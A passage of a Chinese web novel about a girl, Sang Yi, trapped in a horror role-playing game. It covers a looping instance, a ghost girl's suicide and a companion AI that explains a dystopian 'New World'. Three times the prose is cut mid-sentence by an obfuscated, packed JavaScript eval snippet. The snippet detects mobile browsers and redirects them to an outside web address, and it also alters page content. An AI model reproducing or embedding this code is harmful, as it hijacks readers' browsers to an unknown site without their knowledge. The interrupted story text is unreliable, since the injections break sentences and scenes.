系统提示音落下,白色空间瞬间堕入黑暗。 黑门的表面开始蠕动。 男人终于松下了紧皱的眉头,神情放松了下来,但没过几秒,他突然僵住了身子。 ——他的耳畔响起了一道声音。 “帮帮我。” 男人瞳孔微缩,很快反应过来,目光朝墙角停留了一瞬息,出声道:“设置死亡条件。” “设置系统接入点。” 他边说着,边向后退了一步,黑暗褪去,白色空间又恢复了原样。 男人站在门前,他的背朝向那扇黑门,无言地看向眼前空旷空间的某处,再次缓缓地皱起了眉头,镜片下的瞳孔颜色逐渐转深,他的喉咙处滚动了一下,欲言又止。 他抬起手,轻轻取下了那副黑框眼镜,再慢慢蹲下身。 “我以为你已经死了?” 男人平静地说出这句话,他无视身后黑门处向他逐渐爬来的黑影,将眼镜放在了地上,目光沉沉地看向前方某处。 他眉眼微抬,回忆着,语气依旧很刻薄, “我跟他们说过,你这种人,不可能支撑起一个副本。” “编入数据后,这个副本的评级最高也只能是C。” 说到这,男人回头看了一眼,继续道:“看来他们给了你一个伪支点,这个副本永远都不会正常运行。” 男人站起了身,闭上双眼,“中心三区实验员,编号301,申请封存副本空间,坐标(3,e,SL)。” 他睁开眼,眼底闪烁着微光,离开之前,留下了最后一句话。 “申请理由:锚点严重缺陷。” 4. 真实之镜 双脚踏上石板路上时,脚面触碰在硬质的物体上,是一种很清晰的感受。 肌群牵制骨节划出一定的弧度,每落下一步,胸腔就会微微起伏,鼻间吐出呼吸。 漆黑的空间里,只能看见脚底的道路,漫长而寂静的前进中,桑衣得以机会去思考她所经历的一切。 她回忆起某个时刻她端坐在书桌前,手里握着一只自动笔,笔杆在她的手指间转着圈,她看着卷面上的黑色字迹,突然发起了呆。 她发现一件十分重要的事情。 ——她忘记了写作业之前的记忆。 她为什么坐在这里,在来到这里之前,她都做了什么事。 她放下笔,无言地看着身上的校服,再把目光投向桌上的试卷。 《高三数学综合模拟试卷》。 视线久久地落在试卷的题名上,桑衣的手指无意识地摩挲着衣服的布料,嘴唇抿成了一条直线。 桑衣在试卷上看见了自己的姓名,班级,以及空着的学号栏。 感到紧张的时候,她会用耳朵仔细地去听,听自己的呼吸声。 她曾被叮嘱,随时确认自己的存在,反复向自己提问。 白色的空间,黑色的门,融化为血水的花,诡异的电视机,奇怪的女孩和她的信。 无数条奇怪的规则,向她抛出了无形的丝线,牵制着她渐渐被淹没在黑色的影子里。 那个女孩把她推开的时候,桑衣仿佛听见了丝线被斩断的声音。 那股始终恶意窥视的视线,终于从她身上移开。 在看到房间角落的尸体的时候,她感受到了那个无形控制监视着她的事物,对她浓浓的嘲弄与恶意。 大脑在那一刻陷入空白,混乱绞弄着她的意识,喘息的片刻中,她终于触摸到这个地方的一丝线索。 如果她没有猜错的话,这里的事物并不能给她带来最直接的伤害。 机制其实非常简单,这里的事物一直在试图扰乱她的认知,用异常来诱使她做出与这个地方运行规则所不符的行为。 伺机埋伏着,从她任何一步的错处中缓慢蚕食,直到把她一口吞食。 思及此处,桑衣低下了眉眼,那枚锋利的碎瓷片在她的眼底闪着锐利的微光。 她不认为角落的尸体是真实的,直觉告诉她,那个女孩没有死去。 这个地方,真实和虚假,其实被区分地非常清楚。 桑衣停下了脚步,不远处石板路的尽头,出现了一段向上蜿蜒的旋转阶梯。 迈上阶梯,向下看去——阶梯并未仅仅通向上方,它还有一条向下的通道。 交叠错落的阶梯外观像一个巨大的圆环,连接着一层层的空间。 下方的空间有着死白的光亮,正在一步步向上攀爬的桑衣似有所觉,低头向下看去。 只听砰地一声作响,似乎是瓷瓶被人扫落在地面上,发出了清晰的碎裂声。 碎裂声吸引了上方的人。 楼上的人向阶梯的缝隙之下投下冷淡的一瞥,四方的白色空间里,有红色的液体在蔓延。 一个穿校服的短发少女重重地摔在地上,落地的瞬间,她半个身子绷紧,右手迅速抓住了一块尖锐的碎裂瓷片,并将其死死地握紧在手心,左手撑着地面转过了头。 黑色的影子扩张挪动,将她缓缓包围。 她的半张脸沾染上了红色,胸腔微微起伏,紧抿着嘴巴,冷冷注视着即将把她吞噬的事物。 那道充满戏谑意味的恶意视线重新黏附到了桑衣的身上。 方才为她上演了一幕恶作剧,视线兴味正浓,打量着桑衣的反应。 桑衣一只腿搭在高一级的阶梯上,身子向后倾着,她收回了向下的视线——那看不见底的空间,转而继续拾级而上。 “嗒、嗒、嗒。” 她主动走向了下一个循环。 一步又一步,眼前的光亮渐渐变得清晰,桑衣看见了一个白色衣裙的裙角。 似乎听到了身后的动作,穿着白色花边衣裙的女孩转过了身,厚重的刘海下,一双闪耀着金色光芒的眼睛。 金色的眼睛向她弯了弯,眼底有细碎的光点。 “是桑衣啊。” 女孩对她伸出了手,她的身后,一棵巨大的树干拔地而起,金色的树冠遮蔽头顶,金色的花瓣随风飘落。 桑衣忽视了那双向她伸来的手,她越过女孩,径直向前走去。 巨树近在眼前,但仿佛无论怎么走,都无法到达。 身后的女孩跟了上来,歪着头,眼底金光转动,问了桑衣一个问题: “桑衣,什么是真的,什么是假的,你分得清吗?” “……” 桑衣脚步一顿,她抬起双眼,棕色的瞳孔微眯,眼前金色的树的颜色在她眼中逐渐褪去,与此同时,身后女孩的身影也在渐渐消失。 重归寂静,洁白无瑕的四方空间。 墙角的电视机,一扇黑色的门,再无他物。 嗡嗡的电流声自电视机中发出,一道提示声在空间内响起。 【链接成功,正在载入副本。】 一幕光屏在桑衣的面前升起。 【玩家:桑衣】 【当前扮演值:50点,温馨提示:请当前遵守角色,避免引起注意。】 【玩家目前未解锁主线任务。】 “桑衣,你的手怎么了?” 女孩竟然直接出现在了桑衣的身前,她白色的衣裙上有一道喷溅式的血迹,脖颈处是青紫的痕迹。 白枝看向桑衣血肉模糊的右手手掌心,蹙眉。 “碎片割的。” 桑衣握紧手上的碎瓷片,她的脸色一直都很苍白,几分血色在她的脸庞上留下了难以擦去的痕迹,她的状态有些奇怪,棕色的瞳孔此时的颜色好像比以往更深一些。 她缓缓吐出了一个问题,一个让她面前的光屏突然变红,发出警告的问题。 “你叫什么名字?” 【警告!警告!扮演值下降,您的扮演值已跌至25点,您当前处于危险状态!】 白枝静静地看着桑衣,她的眉头微微皱着,眼神蕴含着某种情绪,令人琢磨不清。 白枝:“你不知道我的名字吗?” 说着,白枝走近了一点,手掐住了桑衣的右手腕。 桑衣紧盯着那双桎梏住自己手腕的手,一言不发地摇摇头。 白枝的身后出现了一道令人毛骨悚然的蠕动声,“啵”,一双眼睛盯上了桑衣。 黑色的影子在女孩的身后袭来,先是爬上了白枝的后背,穿透过她的身体,带着冷意顺着女孩的手,爬上了桑衣的右手背。 【您当前的扮演值已跌至10点。】 黑影已经裹上了桑衣的肩头,她此时的脸色极为苍白,那双眼睛亮着,仍然等待着女孩的回答。 白枝见状,叹了一口气,她的眼睛此时很悲伤。 “我叫白枝。白色的白,枝条的枝。” “哦。” 黑影蔓延至桑衣的脖颈,她的睫毛颤抖着,说话都吐着因冰冷而生的水汽。 她动作很迟缓,拿出了收在校服口袋里的信封,对白枝说道: “你忘记写名字了。” 【您的扮演值已升至50点,温馨提示:请当前遵守角色,避免引起注意。】 白枝没有接过信封,她抿着唇看着桑衣的动作。 看了一会,她嘴角勾起了一抹苦笑,“桑衣,很快就要结束了。” “什么?” 白枝接着问出了一个让桑衣四肢发冷的问题:“你的记忆,还剩下多少?” “……” “每次循环,你的记忆都会随之消散一些。没过多久,你会忘记你的一切。” 白枝的手松开了,桑衣的手腕上留下青紫的指印痕迹。 她面露好奇,主动吞下腹中肆虐的饥饿感。 “每三次循环,你忘记关于我的记忆后,都会询问我的名字。为什么?” 黑影几乎要将桑衣整个吞没了,被一股直入骨髓的冷意笼罩,她开始不停地发抖。 白枝:“你问了35次我的名字,39次你都答应了要帮我。” “30次你企图用手里的碎瓷片杀了我。” “我很好奇,名字对你好像意义重大,可是下一次,你还会记得你的名字吗?” “上一次你死后,很久很久没有醒来,我以为再也不会见到你了,于是伤心了好久。” 白枝的眼里倒映着桑衣的身影,她垂下了眼,怅然若失地捂住了自己的胸口。 白枝想起了一个童话故事。 很久很久以前,有一个人被封进了瓶子,扔进了大海中。 第一个百年,他发誓,谁救了他,他就让那个人终身荣华富贵。 第二个百年,他发誓,谁救了他,他就给那个人全世界的财富。 他等了好久好久,还是没有人来救他。 于是他发誓:从现在开始,谁救了他,他就要杀死谁。 白枝看着被黑影逐渐淹没口鼻的桑衣,回想起了父亲带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407889|184575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己走向「树」的那天,父亲掐住了自己的喉咙,她眼前的世界也是这样不断变黑,一股肆虐的灼烧感在她喉咙间升起。 那是一种她已经缺失的情感。 每当那个长着她父亲样子的黑影将桑衣吞噬时,她的喉咙同样如此灼烧着。 灼烧的痛感,甚至吞没了她腹中无底洞的饥饿感与痛感。 下一次,她也许真的会死掉。 这个想法在白枝的脑海中升起,她瞳孔在一瞬间紧缩。 ——! 白色衣裙的女孩将被黑影笼罩的女孩一把推开。 黑影一顿,转而将白枝死死压制,白枝跪在了地上,脸上难掩痛苦之色。 脱离了黑影的控制,桑衣握紧手中的碎瓷片,她的右手手臂在一瞬间绷紧,同时单膝蹲下,指节泛白,全力向下刺去。 她的动作出人意料,且速度极快,没有给身下的黑影反应时间。 ——黑影被钉死在地面上。 桑衣细碎的刘海被掀起,露出她清晰坚定的神态。 而身旁的白枝,捂着喉咙缓缓站起了身,她的声音沙哑,好像积攒了巨大的能量。 她的耳边不断回响起那道呼唤她名字的虚假声音,如尖刺一般挑破她的皮肉,嵌进她的骨骼,让她时时刻刻寸步难行,她感到身体的内部在阵阵地发冷。 她直视着那道始终笼罩着她的,令她难以喘息,心脏缩紧的目光。 她开始大口地喘气,仿佛要把积堆在她心头的、喉头的淤血全部呕光。 “我不再怕你了,父亲。” ——她说道。 白枝重复着,眼睛充血,“我不再怕你了。” 她看着那被钉死在桑衣脚下的、不断挣扎的黑影,喃喃道:“我不想再当你的伥鬼了。” 她不想再一次次重复地诱骗那个口中说出“我会帮你”的女孩一步步走向死亡的圈套。 整整105次的循环,这个把她吞噬殆尽的地方还要把一个新的、干净的灵魂吃干抹净。 这让她难以呼吸,甚至难以对上那个女孩的目光。 白枝身子颤抖,慢慢低下了头,“桑衣,你曾经问过我,为什么要帮他。” 那时,被黑影吞噬的女孩才察觉到她的欺骗,浅色的瞳孔泛着不可置信的冰冷。 白枝退后了几步,又退后了几步。 为什么要帮他? 不,她其实并不清楚,她只是一直被关在房间里,而那扇黑门一直看着她。 她的意识总是很混乱,要很久很久才能清醒片刻,她像一个人偶,被无形的引线牵引着,说出那些她本不想说的话,做出那些她本不想做的事。 久而久之,她也忘记了她自己,那些引线代替了真正的她,她好像被一分为二。 一部分的她叫嚣着仇恨,浸满了恶意,一步步引导布下死亡的陷阱。 而另一部分的她,胆小怯懦,眼睁睁地看着一切发生,无有反应,无能为力。 桑衣闻言,重重地皱住了眉头,手上使了更大的劲,原先血肉模糊的掌心再次渗出了血滴。 她握着碎瓷片,往下一凿,再用力一旋。 被钉住的黑影瞬间发出了刺耳的尖啸,乱窜地想要挣脱。 桑衣闻言,只是垂着眸,淡然打量着手下露出痛苦表情的一张面孔——先前出现在黑门上的那张面孔。 桑衣:“把它干掉,应该就能走了。” 说话间,黑影的挣扎声已经越来越弱,握着碎瓷片的手再次旋紧。 黑影消失在了桑衣的眼中。 【副本重要锚点缺失,副本即将崩坏——】 【警告!警告!副本出现错误,玩家登出失败!】 白色空间在一瞬变得十分不稳定。 身旁的白枝突然剧烈地咳嗽,她的腹部开始极速地膨胀,里面好像有东西要破开窜出。 白枝:“我想起了……一些重要的事情。” 白枝走到了桑衣的面前,在桑衣的耳畔说了什么。 桑衣瞬间僵住了身体。 白枝从桑衣的手中拿过了那枚碎瓷片。 “噗嗤”一声。 桑衣突然缩小的棕色瞳孔中,倒映着女孩脖颈出突然喷溅出的、红色的血。 【链接成功,本次副本主线任务《阻止白枝的自杀》失败,玩家即将强制登出。】 桑衣的身影消失,空间瞬间被黑暗吞没。 ……同时,阶梯的纽带消失了。 交叠的空间中,时间与空间好像在这里重合。 5. 心之壁 夕阳如血,大块乌黑色的云拉伸地很长,被平直的天线割分开。 桑衣站在书桌前,她微阖着眼,长长的睫毛在眼下投下了鸦色的阴影,视线投向书桌上,那张写有几何图形的数学试卷。 四周很寂静,只有她自己逐渐加重的呼吸声。 那是一张普通的试卷,没有褶皱,没有血迹,没有任何破损。 桑衣看向自己的手,手心手背翻转着,同样没有任何伤口。 她的脑海中响起了白枝的话—— 「桑衣,什么是真的,什么是假的,你分得清吗?」 她以为自己分的很清楚。那个世界的虚假会逐渐把人侵蚀,模糊真实和虚假的界限,一但被虚假之物迷惑,就会逐渐失去神智。 如果刚才她所经历的一切都是一个副本游戏,那么她现在又在哪里? 这里真的是她的家吗? 桑衣环顾四周,四方空间里,只有角落的书桌,侧面有一扇窗户,半掩的床帘外,是红色的天空。 窗户紧闭着,玻璃被擦得很干净。 桑衣走近窗户,抬起手,将手掌贴在玻璃上,看着窗外始终没有落下的夕阳。 她有一双颜色很淡的眼珠,注视某个东西的时候,眼底会有清晰的倒影。 手掌处有微微的震动感,桑衣听见了玻璃逐渐碎裂的声音,然后是崩裂一声—— 玻璃出现了裂痕。 桑衣往后退了几步,她眯了眯眼,窗外的天空变化了色彩,沿着中心一点形成了漩涡,一切本是正常有序的色彩都被搅乱了,被吸入中心的黑洞中。 “啪。” 玻璃上的裂痕崩作了蛛网状。 桑衣听见了凛冽的风声。 玻璃碎裂了,风从窗外吹来,掀起了桑衣额头细碎的发丝。 风太大了,桑衣闭上了眼睛,须臾,一道声音在她耳边响起,似乎怕吓到她,声音很轻很轻。 她听到那道声音说:“找到你了。” “孵化者031。” 风顷刻停了。 桑衣睁开眼,静静地看着飘浮在她眼前的球形机器人,白色的外壳,接缝处是蓝色的涂料,面容屏幕上,有两个弯折的符号和一个小点。身后曾经碎裂的玻璃,现在又拼凑成了原状,窗外的天空同样恢复成了从前的血色。 球形机器人又凑近了些,自我介绍着:“你好,孵化者031,我是你的陪伴AI,代号是001,欢迎你醒来,我找你了好久(^.^)” “接下来我将为你介绍当前的情况,请不要害怕。” 平缓的电子音继续道:“这里是你的心茧空间,是游戏系统组建的玩家待机室,我冒昧扫描了你的空间状态,判断你的记忆数据处于封闭状态,是先前你被异常副本抓捕所造成的。” “作为你的陪伴AI,我被赋予辅助你的使命,我将为你介绍游戏的基本运行机制,以提升你在正式副本中存活的几率。” 可能是觉得自己的语气太生硬,001晃了晃身子,做出了一个出乎意料的举动。 桑衣的额头贴上了一个金属质感的球体,无机质的电子音此刻仿佛沾染了人性的温存。 “在人类的感知中,这样的类似动作可以带来心情上的舒缓。” “你感到放松了吗?” “请不要担心,你现在所处的空间绝对安全。” 桑衣后退了一步,问道:“我现在在一个游戏里?” 001:(^.^) 001:“该游戏名为:恐怖npc扮演指南,是曙光公司在新历173年3月份发行的全息划世代全民游戏,至今已运行三个月,玩家需要进入各式各样的副本内完成主线任务,并通过任务奖励兑换资源点,资源点可用于现实生活的资源兑换,包括食物、住房、医疗等通用物资的兑换。” 桑衣:“现实生活?” 001:“是的。每个新世界公民规定在一个月内必须强制性完成一个副本任务,否则将被处以行政警告,积累至三次,该公民将被放逐出新世界中心区。” 001电子屏幕上的表情微微闪烁,它顿了顿,语气很得意:“千万别担心,031,在我的带领下,即使是记忆封闭的你,也不会遭受到这种可怜的下场的。” 桑衣没有说话,她低下头,细碎的刘海掩住了她的眼睛,让人看不清她的神色。 她的视线不禁看向那只曾经血肉模糊,如今完好无损的手。 视线上移,落在长袖校服的袖口上,袖口上翻起了毛边,还有墨水不经意留下的划痕。 桑衣的眼睛眨了眨,她抬头,“什么叫记忆数据处于封闭状态?” “简单来说,就是你的大脑现在只保有一部分记忆,举个简单的例子。” 桑衣的面前升起了一个小黑板,歪歪斜斜地画着一个小火柴人。 “小a被叮嘱坚持饭后要洗手的好习惯,却忘了叮嘱的人。” 小火柴人随着球形机器人的话缓缓地爬起身,一板一眼地演示着。 小火柴人摸着脑袋,头顶上冒出了一个问号。 “小a记得有人对它说过的话,却忘记了说话的人。” 球形机器人突然飞到了桑衣的面前,表情在弧形的显示屏中不断变换,仔细观察着桑衣的表情。 “就是说,你忘记了所有你遇到的人,却记得你遭遇过的事物。” “你脑海中所有人的面孔都被抹上了马赛克,封闭的程度越深,你会彻底忘记某些人对你做的事,对你说的话。” 001切了一个严肃的表情。 “孵化者031,你还记得你的名字吗?” 桑衣点了点头。 “那么,是谁为你取得,你还记得吗?” 桑衣眯起眼睛,皱着眉回想,她还记得那句话,脑子努力去追溯时,可以嗅闻到柔和的洗涤剂的气味,还有懒洋洋的阳光味道。 “记忆由你的感官感受组成,你所看见的,所听见的,所闻到的,所尝到的,所触摸到的,就是记忆。” “异常副本的侵蚀损坏了你的大脑,模糊了你的记忆。” 桑衣难得愣住了神,她的感受被带回到一个瞬间。 一个,她似乎十分珍视的瞬间。 轻柔的风拂过她的脸庞,蓝色的天空中乌云刚刚散去。 有人用手指一点一点擦拭她的脸,指尖拂过她的眼睫毛,痒痒的。 “桑衣这个名字哪里奇怪了?” 那人弯着笑眼,无视她嫌弃的目光,手指轻轻扯住了她的脸,“这可是你自己选的。” 一种难言的坠落感在桑衣的心脏处迸发,桑衣眼睛微阖,神色有些落寞。 电子音在她面前响起。 001:(^.^) “别担心,031,这只是暂时的不良状态,你的记忆会逐渐恢复的。” 记忆……恢复? 如果真的如面前的机器人所言,眼前的一切为何与她记忆中的世界截然不同? 游戏,玩家,新世界,能够自主对话的AI。 种种结合起来,展示在她眼前的,是超越时代的科技技术。 她分明,身处另一个世界。 桑衣抬起眼,小机器人围着她喋喋不休地乱转。 她把手揣进了校服口袋里,突然意识到—— 那么她,应该就是这个世界的异类了吧? 嗯……可能会被抓起来关着。 “孵化者031……031!031!031!!” 急促的电子音在桑衣耳边吵闹着。 “你在想什么??我刚刚检测了你的心之壁,你现在的状态很危险!” 自称001的机器人倒腾着圆滚滚的身子,屏幕上闪烁着严肃的表情符号。 心之壁?是什么? “啊啊啊坏了!大数据中心刚刚发来评估,你的记忆有严重缺陷。” “怎么会,你的心茧空间明明很稳定。” 桑衣眨了眨眼,面前小小的球形机器人扑到了自己的额头上,还不停翻滚着,发光的电子屏幕上闪烁着似乎是十分急切的哭泣表情。 001:(ToT) 001:“是我的扫描失误,没有发现你的记忆严重缺陷,很抱歉,作为最老式的一代AI,我无法准确分析出你丢失的记忆数据,你可以通过问我一些问题,由我来判断你的失忆程度。” “根据先前扫描到的你的大脑区域活跃反应,判断你的情感记忆留存较多,你是否丢失了大量常识性记忆?” 桑衣没有回答这个问题,她看着眼前着急的小机器人,问道:“贴我的额头,是为了检测大脑吗?” 001心虚地停滞在了半空,“当,当然是为了安慰你了,作为你的陪伴AI,这是研发者设置基本人性化服务。” 桑衣若有所思地点点头,001方才放松了表情,又被她下一句话激得跳起来。 “不是为了更近地扫描,避免设备扫描错误,不让人发现你是最老式的一代AI?” “当然不是了!!” 001:啊啊啊臭人类! 桑衣用手指抵住屏幕上竖着两个倒八撇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407890|184575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愤怒蛄蛹的小机器人,淡淡开口: “心之壁,是什么?” 停下动作但是依旧愤怒的球形机器人:…… “喂。” 桑衣曲起手指一弹。 001:“心之壁是由大数据中心制定的精神监测系统所命名,玩家大脑中维持自我认知、自我意志的某种物质。” “新世界是什么?” “173年前,人类文明脱离了太阳系的襁褓,迁徙至一颗新的宜居星球,并命名为「新世界」。” 桑衣:“每个玩家都拥有陪伴AI吗?” “孵化者,是指没有记忆的人吗?” 001立马切了一张严肃脸:“孵化者031,你很敏锐。” 001:“新历173年4月5日下午14时01分,系统检测到超过数万计玩家的生命数据处于危险状态,经过技术研究人员紧急查修,发现原先在试验阶段所封存的副本正在随机捕捉玩家,掠夺玩家的生命。” “偌大的心流主世界,无数个玩家的心茧飘浮其中,心茧由心之壁保护,又加上大数据中心的实时监测,本应该安然无恙。” “封闭副本骗过了监测系统,侵蚀了玩家的心之壁。将无数玩家拖捕至异常副本空间,吞食殆尽。” “同一时间,现实世界,一秒内,有至少两百人因脑死亡失去生命。” “新历173年4月5日下午14时02分,入侵停止。” “随后一个月后,5月5日上午7时01分,入侵再次出现。” “与上次不同的是,被异常入侵的玩家数量骤减,一分钟内,只有50个玩家的心茧被捕捉。” “系统清算:活下来的玩家,全部失去了除了副本经历外的其他所有记忆。” “这些玩家,被称为孵化者。” 球形机器人说完,飞远了一些,和桑衣空出了许多距离,悬浮在空中。 001:“孵化者031,现在由我正式介绍我自己。作为你的陪伴AI,我由第一代初始大数据模型改写而成,代号编码001,被赋予辅助孵化者清除所有异常副本的使命。” “大数据中心发现,异常副本吞噬玩家后会主动汇入心流世界的副本匹配池,伪装成正式副本,吞噬普通玩家。” “每个孵化者在失去记忆的前提下,都觉醒了一定的大脑潜能,潜能在副本中有极大的好处,能够大幅度提高孵化者在正式副本通关的效率。” 001说着,不免叹了一口气。 001:“你的心之壁受损程度很高,只能勉强维持你现在的状态,我没有在你大脑中发现潜能觉醒的迹象。” “我会再次向大数据中心总部报告你的情况。请放心,无论如何,我都会尽最大努力辅助你。” 说完这些,001离开了桑衣身边,在房间里左转转,右转转,对着书桌和窗帘一个劲地扫描,主动给桑衣留下了消化这些信息的空间。 桑衣始终站在原地,她此刻正对着窗户,橙红色的光晕倒映在她极浅的眼底,这里的夕阳始终不变,悬挂在天际线上,仿佛时间都已停滞了。 不知过了多久,她将目光放在乱飞的小机器人上,向小机器人提出了一个要求。 “001,我需要你告知我普通玩家通过正式副本的生存概率。” “收到,正在搜集数据。” 001的电子屏幕上出现了密集的数据流,不一会,小机器人开口道:“为了更好地为你展示客观数据,我已将数据笼统简化,并将孵化者与普通玩家的生存率分组分析,下面是普通玩家通过C级副本的生存率——” 电子屏幕上出现了一串数字:95% “普通玩家通过B级副本的生存率:50%” “普通玩家通过A级副本的生存率:10%” “下面是孵化者通过C级副本的生存率——” 电子屏幕出现了一串数字,在接下来的数据播报中,数字始终没有变化。 “100%” “孵化者通过B级副本的生存率:100%” “孵化者通过A级副本的生存率:100%” “播报完毕。” 001飞到了桑衣面前,歪了歪脑袋,电子屏幕上标记着“100%”的字眼闪烁着,平淡无波的电子音响起: “对比似乎很残酷呢。” “资源是有限的,新世界的人类总是期盼着同类的死亡。” “听说在旧世界,人类会为死去的同伴哀悼。” “孵化者031,你相信吗?” 6. 新世界 【亲爱的各位玩家,今天是新历173年6月5日,中心区天气状况良好,小雨,空气质量较高,曙光提醒您,适时登出心流世界,前往至签到点接受体检。】 【亲爱的玩家桑衣,您已登出游戏,欢迎来到中心区。】 【当前坐标为:中心三区,距离您最近的签到点1536m,请尽快到签到点进行体检,路上请注意安全。】 “每个城市都有数个固定的登入登出点,我们现在处于中心三区千园行政区,该区设有十个签到点,最大容载量可达数十万人。别担心,签到点二十四小时运行,我们现在去也来得及。” 从地底登出点乘坐扶梯升至地面,桑衣没有理会在她耳边念个不停的球形机器人,她抬头,看见半圆形的巨大透明穹顶,不远处,高达数百米的柱形建筑拔地而起,云雾很重,巨大的乌云背后,隐约有一个圆盘形状的巨物在悬浮着,边缘锯齿状的结构排列着线性的亮光,在层层叠叠的云层中若隐若现。 扶梯出口离门有些距离,偌大的半球型玻璃建筑中此时只有少数星星点点的人在逗留。 夜色正浓,小雨淅淅沥沥。 走出正门,眼前是一个巨大的立体式旋转廊桥,依托一个树冠葱郁,树根盘踞百米的大树建成,入口众多。 桑衣听见了稀稀疏疏的蝉鸣声。 “所有孵化者的身份数据都会被大数据中心清空,作为补偿,系统会给你补贴一个居住所名额。” “体检结束后,需要乘坐公共交通前往居住所。” 001将桑衣指引至签到点的体检大厅,待机的方块型机器人飞出,对桑衣进行了一个全身扫描。 桑衣的眼前出现了一串信息。 【玩家姓名:桑衣】 【心之壁:正常】 【心茧状况:目前未入侵】 “体检无误的话,我们就去赶末班车吧。”001提醒道。 “末班车?”桑衣不解。 话音刚落,体检中心就响起一道通知。 【亲爱的玩家,地面公共交通约在一分钟后到达,请不要拥挤,有序上车。】 “遭了!”001大喊道。 几乎是一瞬间,球形机器人的左右侧嵌口张开,伸出两条机械臂,底部探出两个螺旋动力装置,扯住桑衣的袖口,向前方标识交通等待处的通道冲去。 桑衣被扯得一踉跄,一分钟后,她抓住最后几秒冲上车厢,扶着膝盖大喘着气,缓了半晌。 她抬起头,一把抓住了小机器人,咬字清晰地问:“我记得你说过来得及?” 001:(^.^) 001:“这是没办法的事,没想到夜间签到点的体检费用涨价了,白天只需要50资源点的体检费用,晚上居然要500点,系统补偿孵化者的资源点只有2000点,如果打车前往居住点的话,剩下的1300点将无法足额支付居住所两天的使用权。” “而末班车的费用只需要10点资源点,多么实惠呀。” 桑衣:“你没想过让我打车离开这里。” “哎呀,你怎么会这么想。” …… 光怪陆离的游戏世界之外,人们习惯将他们所居住生活的世界称为「新世界」,这里拥有取之不尽、用之不竭的资源,人们曾经妄想在这片崭新的沃土上再次延续人类铸就的辉煌。 而残忍的现实是:在这里,人类最基本的权利都被极少数人把攥;人类最辉煌的科技成果被用来掌控人类自身;在“新世界”,生存变成了大多数人的唯一目标。 大多数人像濒死的鱼,匍匐在时代的尘埃之下。 喘息……呼吸…… 世界的真相被蒙上一层白色的塑料膜,渐渐盖住了人们的口鼻。 人类对于自身价值的评估,似乎也逐渐变得模糊。 繁荣的建筑在车窗外转瞬而逝,充满生机与绿植的边界过渡之外,是荒芜的沉重钢铁建筑,像一座座黑色的大山,沉默在夜色中。 广播播报着:【千园区1号居住所到了,请要下车的乘客有序下车。】 “快下车吧。”001催促。 “入侵日出门的人类很少呢。”001左顾右盼着,随着桑衣一起下了车。 001把桑衣引至其中一个入口前,管控系统检测到人员活动痕迹,开始对桑衣进行扫描。 扫描完毕,放行通过。 沉重的门扉打开,与沉默黑暗的外表不同,1号居住所内部的光亮很充足。 光亮有些刺眼,桑衣不由得将眼睛微眯起来。 眼前水泥糊的坑坑洼洼的地面,连续的水珠不停从上方滴下,水坑倒影影影绰绰的各色荧光色,是不远处显示屏附近缠绕着的灯管,歪歪斜斜的液晶屏幕下,几根电线纠缠着掉出,屏幕上被鲜明的白色字体占据: 【入侵日轮空居住所名额拍卖】 大厅空无一人。 眼前是一个圆形的一层大厅,中央处连排的座椅被拆光了,只剩下残破的底座,自中央处向上望去,每层的空间都围绕着中央环形布局,圆柱形的建筑,向上看不到尽头。 乘坐电梯到达高层,桑衣和001到达了分配的房间门前。 打开门,入眼是约30平方米的空间,配套齐全。 桑衣坐在柔软的床铺上,房间没有窗户,她将上半身倚靠在墙面上,手臂随意搭着。 她侧过头,“你说你的使命是辅助我清除异常副本。” 001:(^.^) “伪装成正式副本的异常副本,普通玩家的生存率是多少?” 001:“零。” “是吗?”桑衣将手向后撑,整个人仰着,她看着空白的天花板,“清除异常副本的条件是什么?” 001:“每个异常副本的清除条件不同,如果我和你遇到了异常副本,我会立即上报大数据中心,请求解决方法。” 桑衣听了,很久没有回答,久到001以为她不会再说话时,它才听到她轻轻的一声呢喃。 “是吗?” 房间的灯被关上,黑暗中,球形机器人作待机状态,守在了床铺旁。 …… 桑衣做了一个梦。 她身在一个宽敞的房间里,白炽灯的光亮很充足,面前有一个穿着白大褂的年轻男性,眼睛很黑,像黑曜石。 “人类在睡不着的时候会数羊…什么羊?嗯…绵羊山羊都可以,一般是小羊羔的样子。” “想象一个栏杆上,有一只小羊跳过,这时你在心里默默数着一。” “多高的栏杆?啊,大概是这么高。” 男人对她比了一个手势,他的手骨长得很漂亮,在灯光的照射下,也带着漂亮的光影。 梦里的自己点了点头。 “有的时候,忘记也是一种好事。记忆是很宝贵的,你记得藏好它。”男人又说道。 记忆? 我还怎样藏好它? 桑衣伸出手,试图抓住男人的衣角,无果。 她感到自己在渐渐脱离梦境,她的身体变得很冷,似乎接触现实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407891|184575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 